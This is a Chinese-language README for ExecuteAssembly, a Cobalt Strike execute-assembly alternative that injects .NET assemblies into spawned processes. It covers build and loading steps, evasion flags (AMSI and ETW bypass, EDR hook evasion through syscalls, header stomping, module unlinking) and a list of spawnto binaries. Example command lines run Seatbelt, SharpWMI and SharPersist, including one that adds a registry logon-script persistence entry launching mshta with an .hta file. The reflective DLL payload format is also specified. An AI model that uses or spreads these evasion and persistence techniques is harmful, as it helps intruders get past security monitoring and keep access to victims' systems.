通过重用宿主(spawnto)进程加载的CLR AppDomainManager来加载/注入.NET程序集,踩踏加载器/.NET程序集PE DOS头部,解除链接.NET相关模块,绕过ETW+AMSI,通过NT静态系统调用(x64)规避EDR钩子,并通过动态解析API(哈希)隐藏导入。
ExecuteAssembly 是 Cobalt Strike execute-assembly 的一个替代方案,使用 C/C++ 构建。它可以通过以下方式加载/注入 .NET 程序集:重用宿主(spawnto)进程已加载的 CLR 模块/AppDomainManager、覆盖加载器/.NET 程序集 PE DOS 头部、解除 .NET 相关模块的链接、绕过 ETW+AMSI、通过 NT 静态系统调用(x64)规避 EDR 钩子,以及通过 SuperFastHash 哈希算法动态解析 API 来隐藏导入。
x64(系统调用):此版本主要依赖静态系统调用来绕过 EDR 钩子,你可以使用此版本仅构建 DLL 的 x64 版本(目前仅支持 x64)。
x86|x64(PEB):通过遍历 PEB 模块的 EAP 表并利用 SuperFastHash 哈希来动态解析 API 地址。但是,此版本无法处理 kernel32.dll 或 ntdll.dll 上设置的 EDR 钩子。你可以使用此版本构建 x86 和 x64 DLL,或者仅构建 x86 DLL,并使用 x64(系统调用)版本来构建 x64 DLL,以应对常见的 EDR 钩子。
使用 VS2017 和/或 Windows SDK 10.0.17134.0(或兼容的 SDK 版本)构建所需的 DLL。
确保已安装 gzip,并将以下文件放置在同一文件夹中,然后直接加载 aggressor 脚本 "ExecuteAssembly.cna":
ExecuteAssembly.cna
ExecuteAssembly-x64.dll
ExecuteAssembly-x86.dll
CLI 选项:
--dotnetassembly: 要加载/注入的 .NET 程序集。
--assemblyargs: .NET 程序集参数。
--unlink-modules: 从 PEB 数据结构中解除 .NET 相关模块(如 CLR/MsCoree 相关的 DLL)的链接。
--stomp-headers: 覆盖 .NET 程序集和反射 DLL 的 PE DOS 头部。
--etw: 绕过 Windows 事件跟踪(ETW)。
--amsi: 绕过 AMSI。
--spawnto: 选择 spawnto 进程,执行时默认加载 CLR 的 .NET 二进制文件列表:
- PresentationHost.exe
- stordiag.exe
- ScriptRunner.exe
- caitstatic.exe
- Microsoft.Uev.SyncController.exe
- TsWpfWrp.exe
- UevAgentPolicyGenerator.exe
- UevAppMonitor.exe
- FileHistory.exe
- UevTemplateBaselineGenerator.exe
- UevTemplateConfigItemGenerator.exe
查看 spawnto-list.txt 以获取更多默认加载 CLR 且适合设置为 spawnto 的 MS 二进制文件(建议避免使用已知的 LOLBins,除非目标是开发人员的机器)。
ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exeExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exeExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exeExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exeExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exe该工具主要基于 Cobalt Strike 创建和测试,但也可以与其他 C2 框架(MSF 等)一起使用。需要注意的是,反射 DLL 的 DLLMAIN 期望以如下格式(不带分号)接收单行有效载荷作为参数(lpReserved):
AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [SPACE SEPARATED ARGUMENTS]
AMSI_FLAG: 0|1(0 或 1)ETW_FLAG: 0|1STOMPHEADERS_FLAG: 0|1UNLINKMODULES_FLAG: 0|1LENGTH_FLAG: .NET 程序集的大小(以字节为单位)LL_FLAG: length_of(LENGTH_FLAG)(请忍耐一下,或者假装没看到这句)B64_ENCODED_COMPRESSED_PAYLOAD: 经 Gzip 压缩并 Base64 编码的 .NET 程序集。[SPACE SEPARATED ARGUMENTS]: .NET 程序集参数